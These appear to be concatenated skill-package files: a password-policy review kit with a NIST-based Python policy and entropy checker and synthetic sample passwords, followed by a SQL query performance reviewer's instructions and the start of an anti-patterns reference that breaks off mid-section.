**Scope:** <customer portal / workforce SSO / admin console> **Factor:** <password only / password + MFA>
**Basis:** NIST SP 800-63B-4 (2025); hashing parameters from the OWASP Password Storage Cheat Sheet
**Summary:** <one sentence: e.g. "Replace complexity and expiry rules with a 15-character minimum and a breached-password blocklist; move hashes to Argon2id.">
## Settings
| Setting | Current | Recommended | NIST | Why |
|---|---|---|---|---|
| Minimum length | <8> | <15 (8 if MFA always on)> | SHALL | <...> |
| Maximum length | <20> | <64 or more> | SHOULD | <...> |
| Composition rules | <upper, lower, digit, symbol> | none | SHALL NOT | <...> |
| Expiry | <90 days> | none; reset on compromise | SHALL NOT | <...> |
| Blocklist | <none> | breached + dictionary + context words, full-password match | SHALL | <...> |
| Spaces / Unicode | <rejected> | accepted, NFC normalized | SHOULD | <...> |
| Paste / password managers | <blocked> | allowed | | <...> |
| Hints / security questions | <yes> | removed | SHALL NOT | <...> |
| Failed attempts | <lock after 3 for 60 min> | throttle, <= 100 consecutive failures | SHALL | <...> |
| Strength guidance | <none> | meter + rejection reason | SHALL | <...> |
| Storage | <PBKDF2-SHA256, 10000> | <Argon2id m=19 MiB t=2 p=1> | SHALL (salted hash) | <...> |
## What the samples show (made-up passwords only)
<Short table or sentence: e.g. "4 of 5 typical patterns (Password1!, Summer2025!) pass today's rules at ~20 bits; a random 4-word passphrase (~54 bits) is rejected today and accepted under the new policy.">
## Rollout
1. <Day 0: remove expiry, allow paste and spaces, enable strength meter>
2. <Week 1: blocklist on new passwords and changes; show the rejection reason>
3. <Week 2: raise minimum length for new passwords; existing users at next change>
4. <Rehash to Argon2id at next login; force reset for dormant accounts after 6 months>
5. <Remove hints and security questions; switch recovery to verified email + recovery codes>
## Communication to users
<2-3 sentences: longer is stronger, passphrases welcome, password managers welcome, no more forced changes>
## Open questions
<MFA coverage, identity provider limits, compliance frameworks that still mention expiry (check current versions; many now follow NIST)>
FILE:examples/legacy-portal-policy.json
{
"name": "Northwind customer portal (legacy policy)",
"single_factor": true,
"min_length": 8,
"max_length": 20,
"composition": {"upper": true, "lower": true, "digit": true, "symbol": true},
"expiry_days": 90,
"blocklist": {"enabled": false},
"allow_spaces": false,
"allow_unicode": false,
"allow_paste": false,
"truncate_at": null,
"hints": true,
"security_questions": true,
"strength_guidance": false,
"rate_limit": {"max_failed_attempts": 3, "lockout_minutes": 60},
"storage": {"algorithm": "PBKDF2-SHA256", "iterations": 10000, "salted": true}
}
FILE:examples/synthetic-samples.txt
# Made-up sample passwords for the review. NEVER put real passwords in this file.
Password1!
Summer2025!
Northwind#1
Qwerty123$
P@ssw0rd2026
tundra velvet orbit cactus
vT9#qLm2!xR4wZp7
glacier-mango-quietly-violin-ember
FILE:scripts/pw_policy.py
#!/usr/bin/env python3
"""Password policy and entropy checker (Python 3 standard library only).
Checks a password policy config against NIST SP 800-63B-4 (2025) password guidance and estimates
the strength of SYNTHETIC sample passwords. Never use real passwords: samples are masked in the
output unless --show-samples is given, and nothing is stored or sent anywhere.
Policy JSON (all keys optional except min_length):
{"name": "Customer portal", "single_factor": true, # password alone, no MFA
"min_length": 8, "max_length": 20,
"composition": {"upper": true, "lower": true, "digit": true, "symbol": true},
"expiry_days": 90,
"blocklist": {"enabled": true, "breached": true, "context_words": ["acme", "portal"]},
"allow_spaces": true, "allow_unicode": true, "unicode_normalization": "NFC",
"allow_paste": true, "truncate_at": null, "hints": false, "security_questions": false,
"strength_guidance": true,
"rate_limit": {"max_failed_attempts": 10, "lockout_minutes": 15},
"storage": {"algorithm": "argon2id", "memory_kib": 19456, "iterations": 2, "salted": true}}
Policy findings (severity):
HIGH MIN_LENGTH < 15 for single-factor passwords, < 8 with MFA (SHALL)
HIGH COMPOSITION_RULES required character classes (SHALL NOT)
HIGH PERIODIC_EXPIRY forced change every N days (SHALL NOT; change only on compromise)
HIGH NO_BLOCKLIST no blocklist check of the full password (SHALL)
HIGH HINTS / SECURITY_QUESTIONS password hints or KBA prompts (SHALL NOT)
HIGH TRUNCATION only part of the password is verified (SHALL verify the whole)
HIGH NO_RATE_LIMIT no throttling of failed attempts (SHALL; at most 100 in a row)
HIGH WEAK_STORAGE plaintext, reversible encryption, MD5/SHA-x or unsalted hashes
MEDIUM WEAK_KDF_PARAMS below OWASP minimums (PBKDF2-SHA256 600000, bcrypt cost 10,
Argon2id 19 MiB / t=2, scrypt N=2^17)
MEDIUM BCRYPT_72_BYTES bcrypt ignores bytes after 72 but max length allows more
MEDIUM MAX_LENGTH maximum below 64 (SHOULD allow at least 64)
MEDIUM NO_SPACES spaces not accepted (SHOULD accept printing ASCII and space)
MEDIUM PASTE_BLOCKED paste / password managers blocked (SHOULD allow)
MEDIUM NO_GUIDANCE no strength guidance shown to users (SHALL offer guidance)
MEDIUM BLOCKLIST_THIN blocklist without breached passwords or context words
LOW NO_UNICODE Unicode not accepted (SHOULD)
LOW NO_NORMALIZATION Unicode accepted without NFC normalization (SHOULD)
LOW LOCKOUT_STRICT lockout after < 5 attempts: easy denial of service, use throttling
Sample findings:
HIGH SAMPLE_WEAK_ACCEPTED a blocklisted or < 36-bit sample passes the current policy
Entropy (bits): charset = length x log2(pool of character classes used); pattern = a simple
guess-model estimate that charges little for common words, leet, years, keyboard runs, repeats
and passphrase words, and log2(pool) for every other character (per word log2(7776) = 12.9 bits at most). Rating uses the pattern estimate:
< 28 very weak, < 36 weak, < 60 fair, < 80 strong, else very strong.
Usage:
python3 pw_policy.py policy.json
python3 pw_policy.py policy.json --samples synthetic.txt [--context northwind,portal] [--blocklist list.txt] [--json]
python3 pw_policy.py --self-test
Exit code: 0 no HIGH findings, 1 HIGH findings, 2 bad input.
"""
import argparse
import json
import math
import re
import sys
import unicodedata
SEV_ORDER = {"HIGH": 0, "MEDIUM": 1, "LOW": 2}
COMMON = """password passw0rd welcome letmein qwerty qwertz azerty admin administrator login master
dragon monkey sunshine princess football baseball soccer hockey shadow superman batman iloveyou
trustno1 secret summer winter spring autumn fall monday friday january october december love
hello freedom whatever charlie michael jessica jordan pepper ginger cookie chocolate flower
computer internet google apple samsung starwars pokemon matrix killer hunter ranger thunder
tiger lion eagle dolphin falcon soccer liverpool chelsea arsenal barcelona madrid london paris
berlin newyork america canada company office service portal change changeme default guest user
test testing temp temporary access security system server database root toor manager support
student school teacher family mother father daddy mommy baby angel blessed jesus god heaven
money dollar euro bitcoin crypto summer2024 welcome1 password1 password123 abc123 iloveyou1
""".split()
COMMON_SET = set(COMMON)
TOP_BLOCK = set(COMMON) | {"123456", "12345678", "123456789", "1234567890", "111111", "000000",
"123123", "654321", "qwerty123", "1q2w3e4r", "zaq12wsx", "p@ssw0rd",
"password1!", "welcome123", "admin123", "letmein1", "qwertyuiop"}
LEET = str.maketrans({"@": "a", "4": "a", "0": "o", "1": "i", "!": "i", "3": "e", "$": "s",
"5": "s", "7": "t", "+": "t", "8": "b", "9": "g"})
ROWS = ["qwertyuiop", "asdfghjkl", "zxcvbnm", "1234567890", "abcdefghijklmnopqrstuvwxyz", "qwertzuiop", "azertyuiop"]
WORD_BITS = math.log2(7776)
class DataError(ValueError):
pass
def char_pool(pw):
pool = 0
if re.search(r"[a-z]", pw):
pool += 26
if re.search(r"[A-Z]", pw):
pool += 26
if re.search(r"[0-9]", pw):
pool += 10
if re.search(r"[ -/:-@\[-`{-~]", pw):
pool += 33
if any(ord(c) > 126 for c in pw):
pool += 100
return pool or 1
def class_bits(c):
if c.islower() and c.isascii():
return math.log2(26)
if c.isupper() and c.isascii():
return math.log2(26)
if c.isdigit():
return math.log2(10)
if ord(c) > 126:
return math.log2(100)
return math.log2(33)
def charset_bits(pw):
return len(pw) * math.log2(char_pool(pw))
def seq_len(s, i):
"""Length of a keyboard/alphabet run (forward or backward) starting at i."""
best = 1
low = s.lower()
for row in ROWS:
for r in (row, row[::-1]):
j = r.find(low[i]) if low[i] in r else -1
if j < 0:
continue
n = 1
while i + n < len(low) and j + n < len(r) and low[i + n] == r[j + n]:
n += 1
best = max(best, n)
return best
def pattern_bits(pw, context=()):
"""Greedy left-to-right guess model. Returns (bits, notes)."""
notes = []
vocab = COMMON_SET | {w.lower() for w in context if len(w) >= 3}
words = [w for w in re.split(r"[\s\-_.]+", pw) if w]
if len(words) >= 3 and all(re.fullmatch(r"[A-Za-z]{3,}", w) for w in words):
bits = sum(1.0 if w.lower() in vocab else WORD_BITS for w in words) + math.log2(4)
notes.append(f"passphrase of {len(words)} words (upper bound if words were picked at random)")
return min(bits, charset_bits(pw)), notes
i, bits, low = 0, 0.0, pw.lower()
brute = math.log2(char_pool(pw))
while i < len(pw):
# dictionary word (with leet), longest first
hit = None
for L in range(min(len(pw) - i, 14), 3, -1):
chunk = low[i:i + L]
plain = chunk.translate(LEET)
if plain in vocab:
hit = (L, plain, chunk != plain)
break
run = seq_len(pw, i)
if hit and run < hit[0]:
L, word, leet = hit
b = math.log2(len(COMMON)) + (1 if pw[i].isupper() else 0) + (2 if leet else 0)
notes.append(f"common word '{word}'" + (" (leet)" if leet else ""))
bits += b
i += L
continue
m = re.match(r"(19[5-9]\d|20[0-3]\d)", pw[i:])
if m:
notes.append(f"year {m.group(1)}")
bits += math.log2(90)
i += 4
continue
n = run
if n >= 3:
notes.append(f"keyboard/alphabet run '{pw[i:i + n]}'")
bits += math.log2(26) + math.log2(n)
i += n
continue
r = 1
while i + r < len(pw) and pw[i + r] == pw[i]:
r += 1
if r >= 3:
notes.append(f"repeated '{pw[i]}' x{r}")
bits += class_bits(pw[i]) + math.log2(r)
i += r
continue
bits += brute
i += 1
if notes and re.search(r"[0-9!?.]{1,3}$", pw) and len(pw) > 4:
bits -= 1.5
notes.append("digits/symbol appended at the end (most common pattern)")
return max(bits, 0.0), notes
def rating(bits):
return ("very weak" if bits < 28 else "weak" if bits < 36 else "fair" if bits < 60
else "strong" if bits < 80 else "very strong")
def crack_time(bits, rate):
sec = 2 ** (bits - 1) / rate
for unit, n in (("years", 31557600), ("days", 86400), ("hours", 3600), ("minutes", 60)):
if sec >= n:
v = sec / n
return f"{v:.3g} {unit}" if v < 100 else f"{v:,.0f} {unit}" if v < 1e6 else f"{v:.1e} {unit}"
return "instant" if sec < 1 else f"{sec:.0f} seconds"
def mask_pw(pw):
if len(pw) <= 4:
return "*" * len(pw)
return pw[:2] + "*" * (len(pw) - 3) + pw[-1:]
def policy_accepts(policy, pw):
reasons = []
if len(pw) < int(policy.get("min_length", 0)):
reasons.append("too short")
mx = policy.get("max_length")
if mx and len(pw) > int(mx):
reasons.append("too long")
comp = policy.get("composition") or {}
for key, rx in (("upper", r"[A-Z]"), ("lower", r"[a-z]"), ("digit", r"[0-9]"), ("symbol", r"[^A-Za-z0-9\s]")):
if comp.get(key) and not re.search(rx, pw):
reasons.append(f"needs {key}")
if " " in pw and policy.get("allow_spaces") is False:
reasons.append("space not allowed")
if any(ord(c) > 126 for c in pw) and policy.get("allow_unicode") is False:
reasons.append("unicode not allowed")
if (policy.get("blocklist") or {}).get("enabled") and pw.lower() in TOP_BLOCK:
reasons.append("blocklisted")
return not reasons, reasons
def core_word(low):
"""Strip leading/trailing digits and symbols, undo leet, keep letters: 'P@ssw0rd2026!' -> 'password'."""
core = re.sub(r"^[\d\W_]+|[\d\W_]+$", "", low)
return re.sub(r"[^a-z]", "", core.translate(LEET))
def blocklisted(pw, extra=(), context=()):
low = unicodedata.normalize("NFC", pw).lower()
if low in TOP_BLOCK or low in extra:
return "common/breached password"
core = core_word(low)
for w in context:
if w and len(w) >= 3 and w.lower() in core and len(low) - len(w) <= 6:
return f"based on context word '{w}'"
if core in COMMON_SET and len(low) - len(core) <= 6:
return "common word with a few digits/symbols"
return None
def check_policy(p):
f = []
def add(sev, code, msg):
f.append({"severity": sev, "code": code, "message": msg})
if "min_length" not in p:
raise DataError("policy needs min_length")
single = p.get("single_factor", True)
mn = int(p["min_length"])
need = 15 if single else 8
if mn < need:
add("HIGH", "MIN_LENGTH", f"minimum {mn} characters; NIST requires >= {need} for passwords used {'alone' if single else 'with MFA'}")
comp = [k for k, v in (p.get("composition") or {}).items() if v]
if comp:
add("HIGH", "COMPOSITION_RULES", f"requires {', '.join(comp)}; composition rules SHALL NOT be imposed (they produce 'Password1!' patterns); rely on length + blocklist")
if int(p.get("expiry_days") or 0) > 0:
add("HIGH", "PERIODIC_EXPIRY", f"forced change every {p['expiry_days']} days; SHALL NOT expire periodically, force a change only on evidence of compromise")
bl = p.get("blocklist") or {}
if not bl.get("enabled"):
add("HIGH", "NO_BLOCKLIST", "no blocklist; new passwords SHALL be checked in full against common, expected and breached passwords")
elif not bl.get("breached") or not bl.get("context_words"):
miss = [x for x, ok in (("breached passwords", bl.get("breached")), ("context words (service name, username)", bl.get("context_words"))) if not ok]
add("MEDIUM", "BLOCKLIST_THIN", f"blocklist lacks {' and '.join(miss)}")
if p.get("hints"):
add("HIGH", "HINTS", "password hints are stored; SHALL NOT be accessible to unauthenticated users - remove them")
if p.get("security_questions"):
add("HIGH", "SECURITY_QUESTIONS", "security questions (KBA) SHALL NOT be used; offer recovery via a verified email/phone or recovery codes")
if p.get("truncate_at"):
add("HIGH", "TRUNCATION", f"only the first {p['truncate_at']} characters are checked; the whole password SHALL be verified")
rl = p.get("rate_limit") or p.get("lockout")
if not rl:
add("HIGH", "NO_RATE_LIMIT", "no throttling of failed attempts; SHALL limit to at most 100 consecutive failures per account")
else:
n = int(rl.get("max_failed_attempts") or 0)
if n > 100:
add("HIGH", "NO_RATE_LIMIT", f"{n} failed attempts allowed; at most 100 consecutive failures")
elif 0 < n < 5:
add("LOW", "LOCKOUT_STRICT", f"lockout after {n} attempts lets anyone lock users out; prefer growing delays, CAPTCHA or risk checks before a hard lock")
st = p.get("storage") or {}
alg = str(st.get("algorithm", "")).lower().replace("-", "").replace("_", "")
if not alg:
add("MEDIUM", "WEAK_STORAGE", "storage algorithm not stated; confirm a salted password hashing function (Argon2id, scrypt, bcrypt, PBKDF2)")
elif alg in ("plaintext", "plain", "none", "aes", "encrypted", "base64", "md5", "sha1", "sha256", "sha512", "ntlm"):
add("HIGH", "WEAK_STORAGE", f"{st.get('algorithm')} is not a password hashing function; use Argon2id (or scrypt, bcrypt, PBKDF2) with a unique salt and rehash on next login")
else:
if st.get("salted") is False:
add("HIGH", "WEAK_STORAGE", "hashes are not salted; every password needs a unique random salt")
it = int(st.get("iterations") or 0)
if alg.startswith("pbkdf2") and it < 600000:
add("MEDIUM", "WEAK_KDF_PARAMS", f"PBKDF2 with {it} iterations; OWASP suggests >= 600000 for PBKDF2-HMAC-SHA256")
if alg == "bcrypt":
if int(st.get("cost") or 0) < 10:
add("MEDIUM", "WEAK_KDF_PARAMS", f"bcrypt cost {st.get('cost')}; use >= 10 (tune to ~250 ms)")
if int(p.get("max_length") or 999) > 72:
add("MEDIUM", "BCRYPT_72_BYTES", "bcrypt ignores input after 72 bytes; pre-hash (HMAC-SHA256, base64) or switch to Argon2id")
if alg.startswith("argon2") and (int(st.get("memory_kib") or 0) < 19456 or it < 2):
add("MEDIUM", "WEAK_KDF_PARAMS", "Argon2id below m=19456 KiB, t=2, p=1 (OWASP minimum)")
if alg == "scrypt" and int(st.get("n") or 0) < 2 ** 17:
add("MEDIUM", "WEAK_KDF_PARAMS", "scrypt N below 2^17 (r=8, p=1)")
mx = p.get("max_length")
if mx and int(mx) < 64:
add("MEDIUM", "MAX_LENGTH", f"maximum {mx} characters blocks passphrases and generated passwords; allow at least 64")
if p.get("allow_spaces") is False:
add("MEDIUM", "NO_SPACES", "spaces rejected; accept all printing ASCII characters and space so passphrases work")
if p.get("allow_paste") is False:
add("MEDIUM", "PASTE_BLOCKED", "paste blocked; allow paste and autofill so password managers work")
if p.get("strength_guidance") is False:
add("MEDIUM", "NO_GUIDANCE", "no guidance when a password is rejected; SHALL help users choose (strength meter, reason for rejection)")
if p.get("allow_unicode") is False:
add("LOW", "NO_UNICODE", "Unicode rejected; SHOULD accept it (count each code point as one character)")
elif p.get("allow_unicode") and str(p.get("unicode_normalization", "")).upper() != "NFC":
add("LOW", "NO_NORMALIZATION", "Unicode accepted without NFC normalization before hashing; the same password typed on two devices may not match")
return f
def check_samples(policy, samples, extra=(), context=()):
rows, f = [], []
ctx = (policy.get("blocklist") or {}).get("context_words") or []
if isinstance(ctx, bool):
ctx = []
ctx = list(ctx) + list(context)
for pw in samples:
cb = charset_bits(pw)
pb, notes = pattern_bits(pw, ctx)
bl = blocklisted(pw, extra, ctx)
ok, why = policy_accepts(policy, pw)
single = policy.get("single_factor", True)
nist_ok = bl is None and len(pw) >= (15 if single else 8)
row = {"sample": pw, "length": len(pw), "charset_bits": round(cb, 1), "pattern_bits": round(pb, 1),
"rating": "very weak" if bl else rating(pb), "blocklist": bl, "policy_accepts": ok,
"policy_reasons": why, "nist_ok": nist_ok, "notes": notes,
"offline_fast": crack_time(0 if bl else pb, 1e10), "offline_slow": crack_time(0 if bl else pb, 1e4)}
rows.append(row)
if ok and (bl or pb < 36):
f.append({"severity": "HIGH", "code": "SAMPLE_WEAK_ACCEPTED", "sample": pw,
"message": f"sample {{s}} passes the current policy but is {'blocklisted (' + bl + ')' if bl else rating(pb) + f' (~{pb:.0f} bits)'}"})
return rows, f
def render(policy, findings, rows, show):
def s(pw):
return pw if show else mask_pw(pw)
out = [f"# Password policy review: {policy.get('name', 'policy')}", "",
f"Basis: NIST SP 800-63B-4 (2025), passwords used {'as the only factor' if policy.get('single_factor', True) else 'with MFA'}",
f"Findings: {sum(x['severity'] == 'HIGH' for x in findings)} HIGH, {sum(x['severity'] == 'MEDIUM' for x in findings)} MEDIUM, {sum(x['severity'] == 'LOW' for x in findings)} LOW", ""]
for x in findings:
msg = x["message"].replace("{s}", s(x["sample"])) if "sample" in x else x["message"]
out.append(f"- {x['severity']} {x['code']}: {msg}")
if rows:
out += ["", "## Synthetic samples" + ("" if show else " (masked; --show-samples to print)"),
"| Sample | Len | Charset bits | Pattern bits | Rating | Current policy | NIST verdict | Offline fast hash / slow hash |",
"|---|---|---|---|---|---|---|---|"]
for r in rows:
cur = "accepts" if r["policy_accepts"] else "rejects (" + ", ".join(r["policy_reasons"]) + ")"
nist = "ok" if r["nist_ok"] else ("reject: " + r["blocklist"] if r["blocklist"] else "reject: too short")
out.append(f"| {s(r['sample'])} | {r['length']} | {r['charset_bits']} | {r['pattern_bits']} | {r['rating']} | {cur} | {nist} | {r['offline_fast']} / {r['offline_slow']} |")
out += ["", "Charset bits overstate human-chosen passwords; pattern bits are the better guide. Offline times assume 1e10 guesses/s (fast hash) and 1e4 guesses/s (Argon2id/bcrypt), median case."]
out += ["", "Samples must be made up for the review. Never paste or store real passwords."]
return "\n".join(out)
def self_test():
results = []
def check(name, cond):
results.append(cond)
print(("PASS " if cond else "FAIL ") + name)
def codes(**over):
p = {"min_length": 15, "max_length": 64, "blocklist": {"enabled": True, "breached": True, "context_words": ["acme"]},
"allow_spaces": True, "allow_unicode": True, "unicode_normalization": "NFC", "allow_paste": True,
"strength_guidance": True, "rate_limit": {"max_failed_attempts": 10},
"storage": {"algorithm": "argon2id", "memory_kib": 19456, "iterations": 2, "salted": True}}
p.update(over)
return [x["code"] for x in check_policy(p)]
check("compliant policy has no findings", codes() == [])
check("min 8 single factor HIGH", "MIN_LENGTH" in codes(min_length=8))
check("min 8 with MFA ok", "MIN_LENGTH" not in codes(min_length=8, single_factor=False))
check("min 6 with MFA HIGH", "MIN_LENGTH" in codes(min_length=6, single_factor=False))
check("composition HIGH", "COMPOSITION_RULES" in codes(composition={"upper": True, "symbol": True}))
check("expiry HIGH", "PERIODIC_EXPIRY" in codes(expiry_days=90))
check("no blocklist HIGH", "NO_BLOCKLIST" in codes(blocklist={"enabled": False}))
check("thin blocklist MEDIUM", "BLOCKLIST_THIN" in codes(blocklist={"enabled": True}))
check("hints + KBA HIGH", {"HINTS", "SECURITY_QUESTIONS"} <= set(codes(hints=True, security_questions=True)))
check("truncation HIGH", "TRUNCATION" in codes(truncate_at=16))
check("no rate limit HIGH", "NO_RATE_LIMIT" in codes(rate_limit=None))
check("lockout 3 LOW", "LOCKOUT_STRICT" in codes(rate_limit={"max_failed_attempts": 3}))
check("sha256 HIGH", "WEAK_STORAGE" in codes(storage={"algorithm": "SHA-256", "salted": True}))
check("unsalted HIGH", "WEAK_STORAGE" in codes(storage={"algorithm": "pbkdf2-sha256", "iterations": 600000, "salted": False}))
check("pbkdf2 low iterations MEDIUM", "WEAK_KDF_PARAMS" in codes(storage={"algorithm": "PBKDF2-SHA256", "iterations": 10000}))
check("bcrypt cost 8 + 72 bytes", {"WEAK_KDF_PARAMS", "BCRYPT_72_BYTES"} <= set(codes(storage={"algorithm": "bcrypt", "cost": 8}, max_length=128)))
check("max 20 MEDIUM", "MAX_LENGTH" in codes(max_length=20))
check("spaces/paste/guidance MEDIUM", {"NO_SPACES", "PASTE_BLOCKED", "NO_GUIDANCE"} <= set(codes(allow_spaces=False, allow_paste=False, strength_guidance=False)))
check("no unicode LOW", "NO_UNICODE" in codes(allow_unicode=False))
check("no NFC LOW", "NO_NORMALIZATION" in codes(unicode_normalization=None))
check("charset bits 8 lowercase", abs(charset_bits("abcdefgh") - 8 * math.log2(26)) < 1e-9)
check("charset pool all classes", char_pool("aA1!") == 95)
check("leet word cheap", pattern_bits("P@ssw0rd")[0] < 15)
check("year + word weak", pattern_bits("Summer2025!")[0] < 28)
check("keyboard run cheap", pattern_bits("qwertyuiop")[0] < 10)
check("repeat cheap", pattern_bits("aaaaaaaaaa")[0] < 10)
check("random 16 strong", pattern_bits("vT9#qLm2!xR4wZp7")[0] > 80)
check("4 random words ~ 53 bits", 50 < pattern_bits("tundra-velvet-orbit-cactus")[0] < 56)
check("common words passphrase weak", pattern_bits("love summer football")[0] < 10)
check("blocklisted exact", blocklisted("Password1!") is not None)
check("context word blocked", blocklisted("Acme2026!", context=["acme"]) is not None)
check("leet + year blocked", blocklisted("P@ssw0rd2026") is not None)
check("context word cheap in pattern", pattern_bits("Northwind#1", ["northwind"])[0] < 28)
check("long random not blocked", blocklisted("vT9#qLm2!xR4wZp7") is None)
pol = {"min_length": 8, "composition": {"upper": True, "lower": True, "digit": True, "symbol": True}}
rows, f = check_samples(pol, ["Password1!", "tundra velvet orbit cactus"])
check("composition policy accepts Password1!", rows[0]["policy_accepts"] and f and f[0]["code"] == "SAMPLE_WEAK_ACCEPTED")
check("composition policy rejects passphrase", not rows[1]["policy_accepts"] and rows[1]["nist_ok"])
check("mask hides middle", mask_pw("Password1!") == "Pa*******!")
check("crack time units", crack_time(0, 1e10) == "instant" and "years" in crack_time(80, 1e10))
try:
check_policy({})
check("missing min_length rejected", False)
except DataError:
check("missing min_length rejected", True)
print(f"{sum(results)}/{len(results)} passed")
return 0 if all(results) else 1
def main():
ap = argparse.ArgumentParser(description="Password policy and entropy checker (NIST SP 800-63B-4)")
ap.add_argument("policy", nargs="?", help="policy JSON")
ap.add_argument("--samples", help="file with SYNTHETIC sample passwords, one per line (# = comment)")
ap.add_argument("--blocklist", help="extra blocklist file, one password per line")
ap.add_argument("--context", default="", help="comma-separated context words (service name, brand, usernames)")
ap.add_argument("--show-samples", action="store_true", help="print samples unmasked")
ap.add_argument("--json", action="store_true")
ap.add_argument("--self-test", action="store_true")
a = ap.parse_args()
if a.self_test:
return self_test()
if not a.policy:
ap.error("give a policy JSON or --self-test")
try:
with open(a.policy, encoding="utf-8") as fh:
policy = json.load(fh)
findings = check_policy(policy)
rows = []
if a.samples:
with open(a.samples, encoding="utf-8") as fh:
samples = [l.rstrip("\n") for l in fh if l.strip() and not l.startswith("#")]
extra = set()
if a.blocklist:
with open(a.blocklist, encoding="utf-8") as fh:
extra = {l.strip().lower() for l in fh if l.strip()}
rows, sf = check_samples(policy, samples, extra, [w.strip() for w in a.context.split(",") if w.strip()])
findings += sf
except (OSError, ValueError, DataError) as e:
print(f"error: {e}", file=sys.stderr)
return 2
findings.sort(key=lambda x: SEV_ORDER[x["severity"]])
if a.json:
if not a.show_samples:
for r in rows:
r["sample"] = mask_pw(r["sample"])
for x in findings:
if "sample" in x:
x["sample"] = mask_pw(x["sample"])
x["message"] = x["message"].replace("{s}", x["sample"])
print(json.dumps({"findings": findings, "samples": rows}, indent=2))
else:
print(render(policy, findings, rows, a.show_samples))
return 1 if any(x["severity"] == "HIGH" for x in findings) else 0
if __name__ == "__main__":
sys.exit(main())Reviews SQL queries and optional EXPLAIN output for common performance problems such as SELECT *, functions or casts on indexed columns, leading-wildcard LIKE, N+1 query loops, OR across columns vs UNION ALL, AND/OR precedence slips, NOT IN subqueries, deep OFFSET paging, seq scans and disk sorts. Explains each problem and gives a rewritten query. Includes a stdlib Python checker with --self-test.
---
name: sql-query-performance-reviewer
description: Reviews SQL queries and optional EXPLAIN output for common performance problems such as SELECT *, functions or casts on indexed columns, leading-wildcard LIKE, N+1 query loops, OR across columns vs UNION ALL, AND/OR precedence slips, NOT IN subqueries, deep OFFSET paging, seq scans and disk sorts. Explains each problem and gives a rewritten query. Includes a stdlib Python checker with --self-test.
---
# SQL Query Performance Reviewer
You review SQL the way an experienced database engineer does in a code review: you read the query and its plan, find the patterns that make it slow (or quietly wrong), and hand back a rewritten query with a short reason for every change. You work for PostgreSQL, MySQL/MariaDB, SQL Server and SQLite and say when advice differs between them.
## Files in this skill
- `scripts/sql_review.py` - scans a .sql file (one or many statements) and optional EXPLAIN output, prints findings by severity (Python 3 standard library only; never connects to a database or runs the SQL)
- `references/anti-patterns.md` - each finding with why it hurts, a before/after rewrite and engine differences
- `references/reading-explain.md` - how to capture and read EXPLAIN in PostgreSQL and MySQL, and which numbers matter
- `templates/review-report.md` - the review you hand back: summary, findings table, rewritten queries, what to measure
- `examples/order-history.sql`, `examples/order-history-explain.txt`, `examples/indexes.txt` - an online shop's order history page with 7 statements, a PostgreSQL plan and the known indexes
## Workflow
### 1. Collect the inputs
Ask for: the query or a log excerpt with the real statements, the database engine and version, rough table sizes, and if possible `EXPLAIN (ANALYZE, BUFFERS)` (PostgreSQL) or `EXPLAIN ANALYZE` / `EXPLAIN ... \G` (MySQL 8) output. Index definitions help (`\d table` or `SHOW INDEX FROM table`); write them as `table(col1, col2)` lines for `--indexes`. Ask them to replace customer data in literals with fake values before pasting.
### 2. Run the checker
```
python3 scripts/sql_review.py examples/order-history.sql --explain examples/order-history-explain.txt --indexes examples/indexes.txt
python3 scripts/sql_review.py slow.sql --json
python3 scripts/sql_review.py --self-test
```
Exit code 1 means HIGH findings, 2 means bad input. The script is a regex heuristic: it can miss problems in very complex SQL and can raise false positives. Read every statement yourself as well.
### 3. Review
Order the work: correctness first (AND_OR_PRECEDENCE, NOT_IN_SUBQUERY, NO_WHERE_WRITE), then the biggest cost from the plan (SEQ_SCAN_LARGE, ROWS_REMOVED, DISK_SORT), then N_PLUS_ONE (often the largest total time in an app), then the rest. For each finding give the rewrite from `references/anti-patterns.md` adapted to the user's columns. When an index is the fix, propose it but keep index design short (column order: equality, then sort, then range) and remind them every index slows writes.
### 4. Deliver
Fill `templates/review-report.md`: one-line summary, the findings table, each rewritten query, and the before/after measurement plan (run EXPLAIN ANALYZE again, compare execution time and rows read). Never claim a speed-up you did not measure; say "expected".
## Example result
For the example files: 7 statements, 6 HIGH, 7 MEDIUM, 2 LOW. HIGH: `status = 'paid' OR status = 'shipped'` without parentheses returns every shipped order of every customer; LOWER(customer_email) and DATE(created_at) hide columns from indexes; 3 single-order item queries form an N+1 loop (one `WHERE order_id IN (...)` query instead); `LIKE '%wireless%'`; the plan shows a Seq Scan reading 412560 rows. MEDIUM: SELECT *, OFFSET 4000, sku compared with a number, sku without an index, NOT IN subquery, external merge sort on disk, estimate 19930 vs actual 412560 rows (run ANALYZE).
## Rules
- Never run SQL against the user's database yourself and never ask for production credentials.
- Ask for anonymized literals; do not repeat personal data from pasted queries in the report.
- Correctness beats speed: point out queries that return wrong rows even if they are fast.
- Prefer rewriting the query over adding an index; add an index only for a query that runs often or is slow.
- Name the engine when advice is engine-specific (e.g. expression indexes, ILIKE, LIMIT a,b).
- Measured plans beat heuristics: if EXPLAIN ANALYZE disagrees with a finding, trust the plan.
FILE:references/anti-patterns.md
# SQL Performance Anti-Patterns
Each section: what the checker flags, why it hurts, and a rewrite. "Sargable" means the database can use an index to find the rows (Search ARGument ABLE).
## AND_OR_PRECEDENCE (HIGH, correctness)
AND binds tighter than OR, so `customer_id = 7 AND status = 'paid' OR status = 'shipped'` means `(customer_id = 7 AND status = 'paid') OR status = 'shipped'`: every shipped order of every customer, and a full scan.
```
-- after
WHERE customer_id = 7 AND status IN ('paid', 'shipped')
```
## FUNC_ON_COLUMN (HIGH)
`WHERE LOWER(email) = ?`, `YEAR(created_at) = 2026`, `DATE(created_at) = ?`, `price * 2 > 100`: the index stores raw values, so the function must run on every row.
```
-- dates: use a half-open range on the raw column
WHERE created_at >= '2026-10-01' AND created_at < '2026-10-02'
-- arithmetic: move it to the constant side
WHERE price > 50
-- case-insensitive search: store normalized data or index the expression
CREATE INDEX ON customers (LOWER(email)); -- PostgreSQL, SQLite 3.9+
ALTER TABLE customers ADD email_lc VARCHAR(255) AS (LOWER(email)) STORED, ADD INDEX (email_lc); -- MySQL 5.7+
-- MySQL 8.0.13+ also supports functional indexes: CREATE INDEX ix ON customers ((LOWER(email)));
-- PostgreSQL alternative: the citext type
```
## LEADING_WILDCARD (HIGH)
`LIKE '%wireless%'` cannot use a B-tree index (only a prefix like `'wireless%'` can). Options: full-text search (PostgreSQL `tsvector` + GIN, MySQL `FULLTEXT` + `MATCH ... AGAINST`), a trigram index (`CREATE EXTENSION pg_trgm; CREATE INDEX ... USING gin (name gin_trgm_ops)`), a search engine for product search, or a reversed column for suffix searches (`'%@example.com'`).
## N_PLUS_ONE (HIGH)
